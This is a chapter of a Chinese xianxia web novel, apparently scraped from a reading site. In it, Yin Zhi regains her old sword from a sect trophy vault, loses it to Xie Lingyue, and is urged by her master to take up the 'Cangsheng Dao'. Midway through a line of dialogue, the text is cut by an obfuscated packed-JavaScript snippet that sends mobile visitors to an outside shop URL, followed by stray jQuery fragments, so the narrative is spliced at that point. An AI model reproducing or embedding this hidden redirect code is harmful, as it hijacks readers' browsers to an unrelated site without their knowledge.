逞英雄不易,装菜鸡也难。
殷枝没灵力却有记忆,真耍起剑来,依旧行云流水吊打一片,不过褪去灵力加持,仙侠变武侠就是了。
显然,在即墨聆面前,她还得维持自己的菜鸡人设。
她拿捏着分寸,敷衍地耍了几招后,手腕顺势一松,剑哐当一声落地,滚到即墨聆脚边。
即墨聆的脸瞬间黑了。
她尴尬地笑笑:“师父,我的剑……能给我吗?”
这是剑?
分明是铁片。
即墨聆这辈子都没见过这么差的武器,抬指一扬,那柄剑瞬息就烧成了灰烬。
简直污了他的地方。
殷枝看着一地的渣渣,难以置信地抬头:“你、你……我的剑!”
即墨聆瞥她一眼,命令道:“跟过来。”
等到他转过身,殷枝攥紧拳头,朝着空气愤懑地挥了一拳。
即墨聆在崖前停下,想到了什么,回头问她:“能下去吗?”
殷枝望了望深不见底、雾气沉沉的断崖,诚实回答:“不能。”
下一秒,她感觉自己的后领被人揪住,身体骤然失重,随着即墨聆腾云驾雾。
不过几息,二人便落地崖底。
他的动作毫无温柔可言,殷枝被扯得脖子疼,心中怒意登时又多了几分,可转身看即墨聆——
这人竟嫌弃地掏出帕子在擦手?
他有病吧!
殷枝觉得这个孙子快当不下去的时候,即墨聆抬手,对着一块石壁施法念咒。
“天地归寂,万象息声——开!”
轰然一声,面前的石壁从中裂开,涌出一扇巨大的石门。
殷枝被眼前的景象惊住:“这是什么?”
“法器库。”
殷枝心头一惊,法器库,那些她要的东西,会不会也在这?
即墨聆再一用咒,石门轰然大开。
“进来。”
旁边石壁上刻了字:弟子请勿入内。
即墨聆显然不在乎,殷枝更是不在乎。
内里黑暗一片,即墨聆一扬袖,百盏烛火亮起。
殷枝看得目瞪口呆,两侧层层叠叠的兵器架自地面一直垒至穹顶,什么剑啊刀啊枪啊,应有尽有,无一不是珍品。
虽说魔界也有兵器库,但魔教内部连年混战,所谓的库房,不过摆设,哪有天枢宗这么大阵仗?
殷枝是个武痴,什么兵器都会一点,这会儿活像老鼠钻进了米仓,什么都想拿起来使两下。
即墨聆走了两步,见她没跟上,回头,殷枝正抱着一把唐剑爱不释手。
他无情打断:“过来。”
殷枝不情愿地跟过去,试探着问:“师父,我能自己挑一把吗?”
“不能。”
“……”
她就不该问他。
面前已然没路,可即墨聆一招手,再度出现了另一间内室。
殷枝跟着进去,双眼更是无处安放,这里的宝剑数量虽比外头少,却更是不凡。
她指向一把双剑,难以置信道:“这这这莫不是‘斩仙’?魔教教主夜九渊的那把?”
即墨聆点头:“是。”
“这座石室收藏的不是剑,是战利品。”他环顾四周,“天枢宗的惯例,凡上门挑衅,要么留剑,要么留命。不过能被收藏在这,都是有些身份的,也算他们的荣幸了。”
殷枝心念这算什么荣幸。
即墨聆走到一个红木剑匣旁,取出里面的东西,举起来问她:“认得吗?”
剑身通体泛红,剑柄缠绕着鲛绡,剑格雕琢成并蒂花枝样式,只看外表,并不觉得这把剑有什么,可一旦剑刃出鞘,锋利无痕,一股杀伐气质便扑面而来。
是殷以微早期的佩剑。
在她登顶天下第一之后,曾有过一段不知天高地厚的荒唐日子,四处上门挑战各大门派来证明自己,还曾闯入剑冢,掳走铸剑长老,让他亲手为自己锻铸一把剑。
就是现在即墨聆手里这把,位列天下名剑榜第二,叫必赢。
剑成后,殷以微爱不释手,日日随身相伴。没过多久,她携此剑登门,前来挑衅天枢宗。
应战的是天枢宗上一任宗主,江清,打到最后,江清眼看不敌,竟用阵法把她困了个彻底,殷枝退走之际,剑被对方截下,留在了天枢宗。
失剑之后,殷以微心疼得日日睡不着觉。她不甘心,数次悄悄潜入天枢宗打探剑的下落,次次无功而返。
谁料没过多久,江清骤然离世。殷以微趁乱混进天枢宗,看着他被葬在后山,心里升起一个荒唐的想法:自己的剑会不会也在?
于是殷以微就把后山翻了个底朝天。
现在看来,自己的剑竟被当做了战利品,还留给后人看笑话?
殷枝心里思绪翻涌,面上依旧乖乖回答:“没见过啊。”
“这是你娘早期的配剑,打输了,被天枢宗扣下了。”即墨聆拔剑出鞘,寒光骤然闪过,“叫什么,不输。”
你才叫不输,你全家都叫不输。
她的剑明明叫必赢。
即墨聆把剑扔给她:“看看,合手吗。”
隔了一百多年,殷以微再拿起必赢,差点就要热泪盈眶。
也是在殷以微拿到手的那一刻,镶嵌在剑柄上,那颗暗淡的红玛瑙突然亮起。
神器认主。
即墨聆瞳孔骤然一缩。
当真是……她的血脉?
而殷以微此时的注意力全然被必赢吸引,她后来的佩剑,虽说也都是剑冢一等一的,但终究没有哪一把是为她量身打造的。
殷枝拿在手里好好端详了一番,耍了两招,赞叹道:“我……娘的品味真不错。”
即墨聆正了正神色,合上了剑匣:“出去吧。”
殷枝这才想起,自己还有个任务,摸清天枢宗的法器藏在哪。
她凑到即墨聆身边,试探着问:“师父,您方才说这里是法器库,可为什么我只见了武器,不见法器?”
即墨聆回:“天枢宗有大大小小四十九个法器库,你今日所见不过其中一个,法器比武器珍贵得多,不会放在这。”
四十九个……就算她一个一个找,也很难找完啊!
殷枝顿时头疼。
即墨聆似乎是注意到了她的情绪,问道:“怎么,你想要法器?”
“我看周千安有一兜子法器,以为……都有呢……”
这是真的,周千安的百宝袋里全是他爹给他买的法器。
即墨聆漫声道:“法器对修士的要求更高,就你这点灵力,暂时还催动不了。”
殷枝“颇为遗憾”地叹了口气。
拿回了必赢之后,方才对即墨聆的怨气已无影无踪,殷枝跟着他出了洞门,再被他揪着衣领回到地面也毫无怨言。
他的院子叫清心苑,不是很大,但看起来就很贵。
院子里很空,正常修士都喜欢装高雅,往院子里种些竹啊菊啊的,但即墨聆这除了一块石头,没别的装饰。
殷枝嗅了嗅,有些不对劲:“师父,有妖气。”
即墨聆扫她一眼,朝那石头唤道:“石心。”
顿时,石头化形成一个身形清瘦的黑袍少年。
殷枝暗叹,不愧是全天下臭毛病第一多的人,连家里的妖都收拾得这么得体。
“见过尊上。”石心躬身行礼。
即墨聆淡淡颔首:“方才动静,你都听见了。往后殷枝在清心苑修行,你安排下。”
石心垂首应下:“遵命。”
待石心退下,殷枝按捺不住好奇,低声问:“这院里,难道上上下下都由一只妖来打理?”
“百年前偶然所得,无害人之心。”即墨聆语气平静,“便收来做灵宠,替我打理院子了。”
殷枝顿时哈哈大笑:“别人的灵宠都是龙啊鹤啊的,你的竟是一块黑黢黢的石头,哈哈哈哈哈——”
“还有,江宗主和孟长老竟同意你收只妖当灵宠,胡子都气歪了吧,哈哈哈哈哈——”
即墨聆忍无可忍,给她一记眼刀:“你可知我为何独留他在院中?”
殷枝:“因为乖?听你话?好养活?”
“因—为—话—少!”
殷枝闭嘴了。
“滚出去,下午再来找我修道!”
殷枝便抱着必赢乖乖出了院子。
—
殷枝没地去,就去后山找了阿婳。
山洞无人,她握着必赢,耍了一个时辰才停下,彻底过了把瘾。
估摸着到了饭点,殷枝才朝膳堂走去。
像即墨聆这种高阶修士自然是不需要用膳的,可对于殷枝这种刚入门的来说,不吃饭是会饿死。况且,就算是殷以微时期,她也坚信人食五谷杂粮,极少辟谷。
膳堂人不算少,殷枝自走进起,便收获目光无数。
一半是因为她在试炼大会上的壮举,另一半,则是因为她手里那把剑。
“那便是殷枝?大会上痛斥江宗主的那个?”
“何止啊,即墨仙尊和谢师姐都抢着收她做徒弟呢!”
“快快快看她那剑,莫不是天下名剑排行榜第二、殷以微的那把?”
殷枝无视这些话,挑了几样爱吃的,找了个没人的地方坐下,自顾自吃得开心。
用罢,殷枝一抹嘴,正欲拿着碗离开时,“啪嗒”一声,一把剑摔在了她对面的桌子上。
周遭的吵闹声瞬间安静了下来。
她抬头,是谢凌月。
谢凌月向来不爱笑,往日殷以微只当她天性寡言,此刻却清晰感受到她眉宇间的怒意。
她出声:“见过谢师姑。”
“你的剑哪里来的?”
突如其来的提问让殷枝有些措不及防,不过一把剑,就算是殷以微的,就算她再讨厌殷以微,可人都死了,她还想怎么样?
她答:“我师父给我的。”
谢凌月又问:“你可知道这是谁的剑?”
她怕这人拿她撒气,干脆全部推到即墨聆身上:
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17811588|210862||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
“我师父……没有告诉我这是谁的。”
殷枝看着谢凌月眼中的不悦又多了几分。
对方深吸一口气,压下情绪,命令道:“把剑给我。”
凭什么给她?
殷枝双手把剑抱在怀里:“我不给。”
“给我!”
“凭什么给你?”
谢凌月要气炸了,再不和她客气,直接上手去抢。
两人用胳膊过了几招,谢凌月略一施法,殷枝的肩膀便疼得厉害,必赢还是被抢了去。
谢凌月站起身,阴沉着脸看她:“不要以为自己在试炼中出了风头便不知天高地厚,这把剑,你还不配!”
—
殷枝回到清心苑时,石心正在廊下扫地。
看到殷枝,他略微点头示意,说道:“殷姑娘回来得正好,师尊正在竹林等你。”
殷枝得了令,顺着青石小径走入竹林。
风拂过成片的冷竹,沙沙声不绝于耳。
即墨聆独自坐在石案一侧,手中端着一只青瓷茶盏,水汽袅袅升腾,正慢悠悠饮茶。
中午,谢凌月找麻烦的事情还历历在目,她对付不了,但即墨聆绝对可以。
她开口告状:“师父,我中午在膳堂,遇到了谢师姑,她——”
还未等她说完,即墨聆便从桌旁拿起必赢,朝她丢过来:“不必说了,拿着。”
声音平淡无波,听不出喜怒。
殷枝接过必赢,还是没搞清楚状况,怎么这剑又回到了即墨聆这里?
她问:“谢师姑来找过你了?”
“嗯。”
“她今日究竟为何发脾气?”
“没什么。”即墨聆放下茶盏,“不过我也同你说清楚,这毕竟是你娘的东西,我才给了你。你带着它出去,着实高调了些,难免引来非议。是用是藏,你自己决定,我不强求。”
殷枝思索片刻,回答:“我想带着它。”
即墨聆应下:“好。。”
他站起身,缓步朝殷枝走近:“昨日大会上,你说你想修什么道来着?”
殷枝答:“逍遥道。”
“为什么?”
“就……好修?”
即墨聆颇有些无奈:“逍遥道讲究独善其身,不被旁人因果拖累。单拿昨日试炼上你为那散修出头一事来讲,殷枝,你做得到吗?”
殷枝被他莫名其妙的一番话弄得满头雾水。
即墨聆语气郑重,继续道:“你同殷以微一样,冷眼旁观的事,你做不到。”
殷枝一怔。
片刻后,她缓缓抬眼,神色恢复平淡:“师尊这话,是什么意思?
“我是说,殷枝,你该修苍生道。”
殷枝摩挲着手里的必赢,道:“师尊劝我修苍生道,就不怕我步我娘后尘,将来反了仙门?”
空气骤然凝固,静得落针可闻。
即墨聆盯着她,眼底没有半分玩笑意味:
“你若心存这般念头,不必等到功成,我便会亲手杀了你。”
殷枝一时难以分辨,他提起苍生道,究竟是刻意试探,还是真心提点。但无论如何,那双眼底暗藏的杀意,绝不是假的。
殷枝故作轻松,率先打破这紧绷的氛围:“我开玩笑的。我也想和我娘一样,修苍生道,接她的班,可就算我想学,也没人能教我啊。”
“不需要教。你神识过人,极有天赋。道这种东西,需要自己悟。”他行至殷枝身侧,“我与你娘打了几百年,她的剑法、道诀我都了解,可在你瓶颈时帮你。不过,你记住,我让你学苍生道,不是因为你是她的女儿,而是我觉得,苍生道不该绝。”
她若学起苍生道,必然是进步最快的,而之所以不学,是觉得在这仙门中,太过于另类。可如今,即墨聆都如此劝她了,她岂有不学的道理?
“好,我学。”殷枝点点头,“不过还有另外一件事,我的灵根是断的,怕是什么道都难修。”
即墨聆道:“我那日看过,你的灵根并非先天残缺,是后天被人强行斩断,尚有修复的余地。”
她当然知道,林夕若曾帮她修复灵根,奈何功力不够,没有成功。
“转过身去。”
殷枝依言转身。
磅礴的灵力自即墨聆掌心溢出,他抬手摁上她的后脊,从腰部一路移至脖颈。
一股酥麻酸胀的感觉蔓延开来,殷枝觉得像有虫子爬过她的骨头,一寸一寸得发疼。
不知多久,即墨聆终于收手,道:“修复乃是长久之功,若贸然全部修补,怕你承受不住,往后每日这个时辰,你前来找我。”
殷枝已是疼得满头大汗。
看她难受得连话都说不出,即墨聆顿了顿,又吩咐道:“你去找步无雨,让她给你开几方补药,滋养灵力。”
殷枝缓了口气,道:“师父不和我一起去?我冒然前去找步医师,怕是不妥。”
即墨聆的脸色明显僵了僵。
他轻咳一声:“……你自己去便好,报我名字。”